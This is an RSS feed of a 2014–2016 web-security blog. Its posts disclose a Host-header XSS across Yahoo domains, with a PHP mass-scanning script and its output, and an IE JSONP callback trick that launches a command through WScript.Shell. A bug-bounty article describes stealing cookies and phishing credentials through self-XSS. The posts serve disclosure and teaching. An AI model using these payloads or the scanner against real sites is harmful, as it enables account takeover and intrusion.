<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>@sergeybelove</title>
	<atom:link href="https://blog.sergeybelove.ru/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.sergeybelove.ru</link>
	<description>blog about web security</description>
	<lastBuildDate>Fri, 01 Apr 2016 13:07:30 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.0.3</generator>
	<item>
		<title>Pritunl &#8211; changing self-signed SSL certificate to Lets Encrypt</title>
		<link>https://blog.sergeybelove.ru/2016/03/pritunl-changing-self-signed-ssl-certificate-to-lets-encrypt/</link>
		<comments>https://blog.sergeybelove.ru/2016/03/pritunl-changing-self-signed-ssl-certificate-to-lets-encrypt/#comments</comments>
		<pubDate>Sat, 19 Mar 2016 11:08:20 +0000</pubDate>
		<dc:creator><![CDATA[BeLove]]></dc:creator>
				<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">https://blog.sergeybelove.ru/?p=147</guid>
		<description><![CDATA[<p>Imagine that you already have some valid SSL certificate (e.g. from Lets Encrypt with auto-renew, check https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-14-04) and want to use it for your Pritun&#8217;s web panel. Just open main app.py file mcedit /usr/lib/pritunl/lib/python2.7/site-packages/pritunl/app.py Find next strings (lines number 146-149) server_cert_path = os.path.join(settings.conf.temp_path, SERVER_CERT_NAME) server_key_path = os.path.join(settings.conf.temp_path, SERVER_KEY_NAME) And replace them (or just comment with [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2016/03/pritunl-changing-self-signed-ssl-certificate-to-lets-encrypt/">Pritunl &#8211; changing self-signed SSL certificate to Lets Encrypt</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Imagine that you already have some valid SSL certificate (e.g. from Lets Encrypt with auto-renew, check <a href="https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-14-04">https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-14-04</a>) and want to use it for your Pritun&#8217;s web panel.</p>
<p>Just open main app.py file</p>
<pre class="lang:zsh decode:true " >mcedit /usr/lib/pritunl/lib/python2.7/site-packages/pritunl/app.py</pre>
<p>Find next strings (lines number 146-149)</p>
<pre class="lang:zsh decode:true " >        server_cert_path = os.path.join(settings.conf.temp_path,
            SERVER_CERT_NAME)
        server_key_path = os.path.join(settings.conf.temp_path,
            SERVER_KEY_NAME)
</pre>
<p>And replace them (or just comment with #) with</p>
<pre class="lang:zsh decode:true " >    server_cert_path = '/etc/letsencrypt/live/vpn.sergeybelove.ru/cert.pem'
    server_key_path = '/etc/letsencrypt/live/vpn.sergeybelove.ru/privkey.pem'</pre>
<p>And that is all.</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2016/03/pritunl-changing-self-signed-ssl-certificate-to-lets-encrypt/">Pritunl &#8211; changing self-signed SSL certificate to Lets Encrypt</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.sergeybelove.ru/2016/03/pritunl-changing-self-signed-ssl-certificate-to-lets-encrypt/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>21 0day XSS on Yahoo &#8211; still unfixed after 2 years! (updated)</title>
		<link>https://blog.sergeybelove.ru/2016/02/21-0day-xss-on-yahoo-after-1-year/</link>
		<comments>https://blog.sergeybelove.ru/2016/02/21-0day-xss-on-yahoo-after-1-year/#comments</comments>
		<pubDate>Sun, 28 Feb 2016 01:53:10 +0000</pubDate>
		<dc:creator><![CDATA[BeLove]]></dc:creator>
				<category><![CDATA[bugbounty]]></category>

		<guid isPermaLink="false">https://blog.sergeybelove.ru/?p=127</guid>
		<description><![CDATA[<p>Intro Seems it&#8217;s time to disclose 21 zero day XSS on Yahoo. I do not break any rules, any laws of any country (I hope lol) posting this to public (Yahoo officially said that they need only 90 days to rollout fix for any vuln, please visit https://hackerone.com/yahoo &#8211; Yahoo&#8217;s bugbounty rules). This vuln affect [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2016/02/21-0day-xss-on-yahoo-after-1-year/">21 0day XSS on Yahoo &#8211; still unfixed after 2 years! (updated)</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></description>
				<content:encoded><![CDATA[<h1>Intro</h1>
<p>Seems it&#8217;s time to disclose 21 zero day XSS on Yahoo.<br />
I do not break any rules, any laws of any country (I hope lol) posting this to public (Yahoo officially said that they need only 90 days to rollout fix for any vuln, please visit <a href="https://hackerone.com/yahoo">https://hackerone.com/yahoo</a> &#8211; Yahoo&#8217;s bugbounty rules). This vuln affect 21 different Yahoo domains and not fixed for a one year.</p>
<p>I reported this issue 9 months ago (<a href="https://hackerone.com/reports/77385">https://hackerone.com/reports/77385</a>), tried to bump it but no luck. They said that my report is dup of <a href="https://hackerone.com/reports/54625">https://hackerone.com/reports/54625</a> (reported at ~march 2015).</p>
<p>Main purpose of this post &#8211; just pay attention of Yahoo security team to this ticket again (and finally fix!).</p>
<h1>XSS</h1>
<p>Facts:</p>
<ul>
<li>Reflected</li>
<li>Works only in IE (tested in IE 10/Win 7; Should works in 7,8,9)</li>
<li>Bypassing IE XSS filter</li>
</ul>
<p>Based on <a href="https://twitter.com/Black2Fan">https://twitter.com/Black2Fan</a> technique that helps to inject XSS payload into HOST header of user&#8217;s requests (read more <a href="http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html">here</a>).</p>
<p>PoC: <a href="https://sergeybelove.ru/exploits/yahoo_ie.php">https://sergeybelove.ru/exploits/yahoo_ie.php</a> (IE only! Just inject H1 tag)</p>
<p><a href="https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-10.54.58-PM.png" rel="attachment wp-att-131"><img src="https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-10.54.58-PM-1024x599.png" alt="Screen Shot 2015-07-21 at 10.54.58 PM" width="800" height="468" class="aligncenter size-large wp-image-131" srcset="https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-10.54.58-PM-1024x599.png 1024w, https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-10.54.58-PM-300x176.png 300w, https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-10.54.58-PM-768x450.png 768w, https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-10.54.58-PM.png 1259w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p><a href="https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-11.00.50-PM.png" rel="attachment wp-att-133"><img src="https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-11.00.50-PM-1024x240.png" alt="Screen Shot 2015-07-21 at 11.00.50 PM" width="800" height="188" class="aligncenter size-large wp-image-133" srcset="https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-11.00.50-PM-1024x240.png 1024w, https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-11.00.50-PM-300x70.png 300w, https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-11.00.50-PM-768x180.png 768w, https://blog.sergeybelove.ru/wp-content/uploads/2016/02/Screen-Shot-2015-07-21-at-11.00.50-PM.png 1420w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>This XSS caused is by balancer and&#8230; affect other domains! I wrote a simple scanner:</p>
<pre class="lang:php decode:true " title="Yahoo scanner" >&lt;?php

$html = file_get_contents("https://everything.yahoo.com/");
preg_match_all("/.dd..a.href=.([a-zA-Z\.:\/?_=]*)\"/", $html, $matches);
$domains = array();
foreach ($matches[1] as $match) {
    $target = parse_url($match);
    $domains[] = $target['host'];
}
$domains =array_unique($domains);
sort($domains);

//$domains = array($argv[1]);
foreach ($domains as $domain) {
    $fp = @fsockopen($domain, 443, $errno, $errstr, 3);
    if (!$fp) {
	$schemas = array('http', 'https');
    } else {
	$schemas = array('http');
    }
    foreach ($schemas as $scheme) {
	// we need to try valid 80 &amp; 443 and some non valid ports 444
	foreach (array(80,443,444) as $port) {
	    $testing =  $scheme."://".$domain;
	    $payload = "123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;";
	    $exploit ='&lt;?php
header("Location: '.$scheme.'://'.$domain.'%2f--&gt;&lt;script&gt;alert(document.location.origin)&lt;%2fscript&gt;%3a'.$port.'");';
	    $ch = curl_init();
	    curl_setopt($ch, CURLOPT_URL, $scheme."://".$domain);
	    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: '.$domain.$payload.':'.$port));
	    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	    $result = curl_exec($ch);
	    if (strstr($result, $payload)) {
		echo $testing." with Host: ".$domain.$payload.":".$port." is vulnerable!\n";
		break;
 	    }
	}
    }
}
?&gt;</pre>
<p>For mass checking and found that other domains <strong>(include flickr.com) </strong>also vulnerable:</p>
<pre class="lang:default decode:true " >http://advertising.yahoo.com with Host: advertising.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://answers.yahoo.com with Host: answers.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:443 is vulnerable!
http://autos.yahoo.com with Host: autos.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://celebrity.yahoo.com with Host: celebrity.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://developer.yahoo.com with Host: developer.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://finance.yahoo.com with Host: finance.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://games.yahoo.com with Host: games.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://groups.yahoo.com with Host: groups.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:443 is vulnerable!
http://help.yahoo.com with Host: help.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://messenger.yahoo.com with Host: messenger.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:443 is vulnerable!
http://music.yahoo.com with Host: music.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://my.yahoo.com with Host: my.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:443 is vulnerable!
http://news.yahoo.com with Host: news.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://shopping.yahoo.com with Host: shopping.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://sports.yahoo.com with Host: sports.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://weather.yahoo.com with Host: weather.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:80 is vulnerable!
http://www.flickr.com with Host: www.flickr.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:443 is vulnerable!
http://www.yahoo.com with Host: www.yahoo.com123123--&gt;&lt;script&gt;alert(document.location.origin)&lt;/script&gt;:443 is vulnerable!</pre>
<p>Why 21? Some other domains like mail on first screen should to be checked manually.</p>
<p>One more fact: I added check for XSS thru HOST header to my small and free one-button-scan &#8211; <a href="http://sergeybelove.ru/one-button-scan/">http://sergeybelove.ru/one-button-scan/</a></p>
<p>P.S. I found exactly same vuln on wikipedia and they fixed it just in few days &#8211; feel the difference.  </p>
<p>UPD: BlackFan <a href="https://twitter.com/Black2Fan/status/703851125267496960">twitted</a> that he reported this issue 2 years ago! And it was a dup<br />
<img src="http://i.imgur.com/DCnJL1s.png" alt="H1 report by BlackFan" /></p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2016/02/21-0day-xss-on-yahoo-after-1-year/">21 0day XSS on Yahoo &#8211; still unfixed after 2 years! (updated)</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.sergeybelove.ru/2016/02/21-0day-xss-on-yahoo-after-1-year/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Frontend in(security)</title>
		<link>https://blog.sergeybelove.ru/2016/02/frontend-insecurity/</link>
		<comments>https://blog.sergeybelove.ru/2016/02/frontend-insecurity/#respond</comments>
		<pubDate>Sun, 28 Feb 2016 00:56:45 +0000</pubDate>
		<dc:creator><![CDATA[BeLove]]></dc:creator>
				<category><![CDATA[Public talks]]></category>

		<guid isPermaLink="false">https://blog.sergeybelove.ru/?p=121</guid>
		<description><![CDATA[<p>Slides from my talk at OWASP Poland about different attacks to modern frontend OWASP EEE (Krakow) &#8211; It&#x27;s only about frontend from Sergey Belov And video: Text &#8211; click Huge thanks to Mario for help while preparing this presentation.</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2016/02/frontend-insecurity/">Frontend in(security)</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Slides from my talk at OWASP Poland about different attacks to modern frontend<br />
<iframe src="//www.slideshare.net/slideshow/embed_code/key/2jhdUXiOqAdk2t" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen> </iframe> </p>
<div style="margin-bottom:5px"> <strong> <a href="//www.slideshare.net/sergeybelove/owasp-eee-krakow-its-only-about-frontend" title="OWASP EEE (Krakow) - It&#x27;s only about frontend" target="_blank">OWASP EEE (Krakow) &#8211; It&#x27;s only about frontend</a> </strong> from <strong><a target="_blank" href="//www.slideshare.net/sergeybelove">Sergey Belov</a></strong> </div>
<p>And video:<br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/nb_pTyX2eAo" frameborder="0" allowfullscreen></iframe></p>
<p>Text &#8211; <a href="https://translate.yandex.ru/translate?url=https://habrahabr.ru/company/dsec/blog/259389/&#038;lang=ru-en" target="_blank">click</a><br />
Huge thanks to <a href="https://twitter.com/0x6D6172696F">Mario</a> for help while preparing this presentation. </p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2016/02/frontend-insecurity/">Frontend in(security)</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.sergeybelove.ru/2016/02/frontend-insecurity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hamachi on raspberry pi &#8211; bash no such file or directory</title>
		<link>https://blog.sergeybelove.ru/2015/11/hamachi-on-raspberry-pi-bash-no-such-file-or-directory/</link>
		<comments>https://blog.sergeybelove.ru/2015/11/hamachi-on-raspberry-pi-bash-no-such-file-or-directory/#respond</comments>
		<pubDate>Sun, 15 Nov 2015 20:53:33 +0000</pubDate>
		<dc:creator><![CDATA[BeLove]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">https://blog.sergeybelove.ru/?p=114</guid>
		<description><![CDATA[<p>If you have following error after installing hamachi on raspberry pi -bash: /usr/bin/hamachi: No such file or directory Just type ln -s /lib/ld-linux-armhf.so.3 /lib/ld-linux.so.3</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2015/11/hamachi-on-raspberry-pi-bash-no-such-file-or-directory/">Hamachi on raspberry pi &#8211; bash no such file or directory</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>If you have following error after installing hamachi on raspberry pi</p>
<pre class="lang:sh decode:true " >-bash: /usr/bin/hamachi: No such file or directory</pre>
<p>Just type</p>
<pre class="lang:sh decode:true " >ln -s /lib/ld-linux-armhf.so.3 /lib/ld-linux.so.3</pre>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2015/11/hamachi-on-raspberry-pi-bash-no-such-file-or-directory/">Hamachi on raspberry pi &#8211; bash no such file or directory</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.sergeybelove.ru/2015/11/hamachi-on-raspberry-pi-bash-no-such-file-or-directory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote command execution on the client side via jsonp</title>
		<link>https://blog.sergeybelove.ru/2015/01/remote-command-execution-on-the-client-side-via-jsonp/</link>
		<comments>https://blog.sergeybelove.ru/2015/01/remote-command-execution-on-the-client-side-via-jsonp/#comments</comments>
		<pubDate>Sat, 24 Jan 2015 22:27:58 +0000</pubDate>
		<dc:creator><![CDATA[BeLove]]></dc:creator>
				<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://blog.sergeybelove.ru/?p=1</guid>
		<description><![CDATA[<p>Today I want to reborn my blog and share a little and very simple (and new?) trick &#8211; how to get RCE on the client side via jsonp in IE (any verison). This technique looks like on &#8220;reflected file download&#8221; from last BlackHat. JSONP &#8211; a json data with «padding» &#8211; some callback function that [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2015/01/remote-command-execution-on-the-client-side-via-jsonp/">Remote command execution on the client side via jsonp</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></description>
				<content:encoded><![CDATA[<div>
<p>Today I want to reborn my blog and share a little and very simple (and new?) trick &#8211; how to get RCE on the client side via jsonp in IE (any verison). This technique looks like on &#8220;reflected file download&#8221; from last BlackHat.</p>
</div>
<div></div>
<div>JSONP &#8211; a json data with «padding» &#8211; some callback function that allows to interact with received data on the client side. It usually needed in situation when we have 2 domains and due SOP we can&#8217;t read response from domain B while sending request from domain A.</div>
<div></div>
<div> A typical example:</div>
<div>
<pre class="lang:xhtml decode:true">&lt;!-- Request sent via a script tag --&gt;
&lt;script src="https://status.github.com/api/status.json?callback=apiStatus"&gt;&lt;/script&gt;
&lt;!-- Data received as an execution of the predefined function. --&gt;
&lt;script&gt; function apiStatus(data) { console.log(data.status); } &lt;/script&gt;</pre>
</div>
<div>What we know about JSONP threats?</div>
<ol>
<li>JSONP leaks</li>
<li>XSS via JSON / JSONP callbacks</li>
<li>Advanced vector: &#8220;rosetta flash&#8221;</li>
<li>?</li>
</ol>
<p><span id="more-1"></span></p>
<h3>1. JSONP leaks</h3>
<div>In case when server side returns sensitive data (e.g. based on user&#8217;s cookies) and doesn&#8217;t check source of request &#8211; attacker can steal this data. A typical example is my report on H1 (CloudFlare) &#8211; <a href="https://hackerone.com/reports/10841">https://hackerone.com/reports/10841</a>.</div>
<div></div>
<h3>2. XSS via JSON / JSONP callbacks</h3>
<div>In case when JSON(P) response has a wrong content type like a &#8220;text/html&#8221; attacker probably can change callback (or data in json array) to XSS vector. In some cases it&#8217;s possible to spoof content type via extension (IE only) &#8211; <a href="https://www.superevr.com/blog/2012/exploiting-xss-in-ajax-web-applications">https://www.superevr.com/blog/2012/exploiting-xss-in-ajax-web-applications</a></div>
<div></div>
<h3>3. Advanced vector: &#8220;rosetta flash&#8221;</h3>
<div>Just read this blogpost &#8211; <a href="https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/">https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/</a>. In two words &#8211; attacker can bypass SOP using jsonp and flash (specifically crafted swf file without any special symbols). Fixed in last flash plugin versions.</div>
<div></div>
<h3>4. ?</h3>
<div>And&#8230; The subject of this post &#8211; RCE in any of IE version.</div>
<div>If Internet Explorer (IE) see in response one from follow content types:</div>
<ul>
<li>text/javascript</li>
<li>application/javascript</li>
<li>application/x-javascript</li>
</ul>
<p><em>upd: application/json doens&#8217;t work // cc https://twitter.com/maxon3/status/559050462540754944</em></p>
<p>(and probably some others) then it tries to save or execute this file like a windows host js (and it not depends from extension of this file in request).<br />
If user choose &#8220;open&#8221; button and click &#8220;confirm&#8221; and &#8220;confirm&#8221; again (like a with a typical exe file) this file will execute.</p>
<p>We can create via callback this file with any content from trusted domain. Example:</p>
<p><a href="http://cs.microsoft.com/getid.js?jsoncb=new%20ActiveXObject(&quot;WScript.Shell&quot;).Exec(&quot;calc&quot;)//">http://cs.microsoft.com/getid.js?jsoncb=new%20ActiveXObject(&#8220;WScript.Shell&#8221;).Exec(&#8220;calc&#8221;)//</a></p>
<p><a href="https://blog.sergeybelove.ru/wp-content/uploads/2015/01/Снимок-экрана-2015-01-24-в-19.46.19.png"><img class="alignnone size-medium wp-image-15" src="https://blog.sergeybelove.ru/wp-content/uploads/2015/01/Снимок-экрана-2015-01-24-в-19.46.19-300x213.png" alt="Снимок экрана 2015-01-24 в 19.46.19" width="300" height="213" srcset="https://blog.sergeybelove.ru/wp-content/uploads/2015/01/Снимок-экрана-2015-01-24-в-19.46.19-300x213.png 300w, https://blog.sergeybelove.ru/wp-content/uploads/2015/01/Снимок-экрана-2015-01-24-в-19.46.19.png 634w" sizes="(max-width: 300px) 100vw, 300px" /></a><br />
Open this link in IE and click twice at open button &#8211; see calc window.</p>
<p>&nbsp;</p>
<p>Video</p>
<p><iframe width="800" height="600" src="https://www.youtube.com/embed/T0vwLsHUing?feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<p>UPD: Before posting this post I tried to find same technique in Google &#8211; but nothing. Today Denis wrote me and gave this link &#8211; https://twitter.com/dnkolegov/status/531737522872012800. So, it isn&#8217;t new <img src="https://s.w.org/images/core/emoji/11/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2015/01/remote-command-execution-on-the-client-side-via-jsonp/">Remote command execution on the client side via jsonp</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.sergeybelove.ru/2015/01/remote-command-execution-on-the-client-side-via-jsonp/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Let us see the Impact!</title>
		<link>https://blog.sergeybelove.ru/2014/12/let-us-see-the-impact/</link>
		<comments>https://blog.sergeybelove.ru/2014/12/let-us-see-the-impact/#respond</comments>
		<pubDate>Tue, 09 Dec 2014 00:12:32 +0000</pubDate>
		<dc:creator><![CDATA[BeLove]]></dc:creator>
				<category><![CDATA[bugbounty]]></category>

		<guid isPermaLink="false">https://blog.sergeybelove.ru/?p=98</guid>
		<description><![CDATA[<p>Bug Bounty—vulnerability reward programs for vendors—become more and more widespread. And sometimes, vulnerabilities search detects some evidently insecure areas (e.g., self-XSS) the threat of which is hard to prove. But the larger (or even the smarter) is the vendor (e.g., Google), the more willing it is to discuss, to detect the indicated vulnerability and to [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2014/12/let-us-see-the-impact/">Let us see the Impact!</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Bug Bounty—vulnerability reward programs for vendors—become more and more widespread. And sometimes, vulnerabilities search detects some evidently insecure areas (e.g., self-XSS) the threat of which is hard to prove. But the larger (or even the smarter) is the vendor (e.g., Google), the more willing it is to discuss, to detect the indicated vulnerability and to reward if successful. This article is a collating of complex situations and the ways to prove a threat and to make the Internet more secure.</p>
<p><span id="more-98"></span></p>
<h1 id="dns-misconfiguration">DNS Misconfiguration</h1>
<p>The vulnerability lies in its presence in the records of the domains’ subdomains, which contain addresses belonging to the local network.</p>
<p>Let’s suppose that when searching subdomains, we’ve found something like local.target.com, which points to 127.0.0.1 address (or simply to an IP from the local network).</p>
<p>Let’s consider a case when the subdomain points to 127.0.0.1 address. Let’s assume some organization which works through thin clients, and the employees of which work with one and the same device with 127.0.0.1 IP-address. In this case, the intruder can be a local user of the system. To attack, the intruder binds the port on “the upper levels”, e.g., 10024 (because the “lower” ports require the appropriate rights). Then, the intruder sends the victim (another user of the same system) a mail containing resources downloaded from the vulnerable system address, which, in its turn, points to the local IP, e.g., <code>&lt;img src = http://local.target.com:10024/&gt;</code>. Once the victim opens the mail and downloads an image from *<em>.target.com, the intruder will receive the victim’s cookies, which will be afterwards transmitted to the thoughtfully open wireless sniffer or netcat. One little trick: such and, indeed, other systems have the CUPS service (for printers), the interface of which contains many XSS. In this case, a remote intruder can profit by run of a subdomain local address error. For example, making the user follow such link like: <code>http://local.target.com:631/jobs/?job_id=&amp;job_printer_name=Click%20Me&amp;job_printer_uri=javascript:alert(document.cookie)</code>, one may transmit XSS and receive cookies </em>.target.com.</p>
<p>If the domain points to the local network IP, one can demonstrate the following vector: being in the same local network with the victim, one can occupy the proper subdomain IP-address and ask the user to follow the link.</p>
<p>Szymon Gruszecki earned $100 in Self Bounty hackerone for such an invention (report 1509).</p>
<h1 id="self-xss">Self-XSS</h1>
<p>XSS-attack is one of the most popular attacks in the Web. The point is to embed your JavaScript in the page which will be later opened by the victim. Self-XSS is a subvariety of XSS-attacks. The nature is the same, but it works in the intruder’s browser.</p>
<p>Just imagine, you can embed a JavaScript somewhere and it will work perfectly well, but… only for you! So you can execute an XSS-attack, but only against yourself. Pretty foolish situation :). And now, let’s draw a vector. Let’s take target.com website, where the victim is authorized. Mostly, you can log the victim out through CSRF (step 1), then log it in under your name, again through CSRF (step 2, and yes, you will “give away” your credentials, but it doesn’t matter). So, you have: a victim logged in on target.com, where you put your JavaScript. Next (3rd) step: you just place an authorization window with a message like “Your session has timed out” (through the JS already provided) on the web-site (the URL is the same, looks legal!) and log the victim’s input data (login:password) on our server. “No way,” you said? You are wrong. There is one person who created such a vector, and this vector has been scored. For the will to win, perhaps, but anyway attacks success rate was proved!</p>
<p><a href="https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_local.png"><img class="aligncenter size-full wp-image-101" src="https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_local.png" alt="impact_local" width="696" height="267" srcset="https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_local.png 696w, https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_local-300x115.png 300w" sizes="(max-width: 696px) 100vw, 696px" /></a></p>
<h1 id="google-and-self-xss">Google and self-XSS</h1>
<p>Continuing on self-XSS attacks, I’d like to pay your attention to Google Company as one of the most generous one in terms of the rewards for the vulnerabilities detected. Depending on the Google service, almost any self-XSS vector can be considered as a non-self one, because both in Gmail and in Google Analytics, there is a function enabling to search your own account with other users simply by entering their email. What comes to mind immediately is a story when an XSS was in the name of a downloaded file of Analytics, and this XSS was performed only against the user’s own account. However (as we mentioned above) this vector could be used against other users as well. Of course, the unknown author of this feature has been rewarded.</p>
<h1 id="users-data-leak-malicious-referrers">User’s data leak — malicious referrers</h1>
<p>Vulnerability means a negligent processing of user’s sensitive data — availability of session data in GET-queries, tagging in search services, etc.</p>
<p>Current and the most widespread HTTP-protocol version includes a referrer with a URL which shows where the user “comes from”. Just imagine: the user resets a password, receives a mail, follows the link with a password change token, and sees some image from the other web-site (e.g., a comics from xkcd.com on how to choose a right password) right on the password change service. The image query will be performed… That’s right, with the referrer value containing the password reset token. As a result, the owner of the domain where the content (e.g., an image) comes from can mesh the password change tokens and change them faster than the user does. HackerOne gained $100 for such an invention.</p>
<h1 id="web-server-misconfiguration-insecure-redirectors">Web Server Misconfiguration — insecure redirectors</h1>
<p>Vulnerability lies in the web-server configuration faults, particularly, in Strict Transport Security parameter value.<br />
Generally, one shouldn’t transmit any sensitive data (passwords, card numbers, etc.) directly through HTTP, it’s better to use HTTPS or, better yet, make all the resource work through HTTPS. So, how does it usually happen? A user requests a website through HTTP — http://site.com, and receives such kind of a response:</p>
<pre class="lang:http decode:true">HTTP/1.1 302 Found
Server: nginx/1.2.4
Date: Mon, 28 Apr 2014 15:22:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/5.3
Location: https://site.com/
</pre>
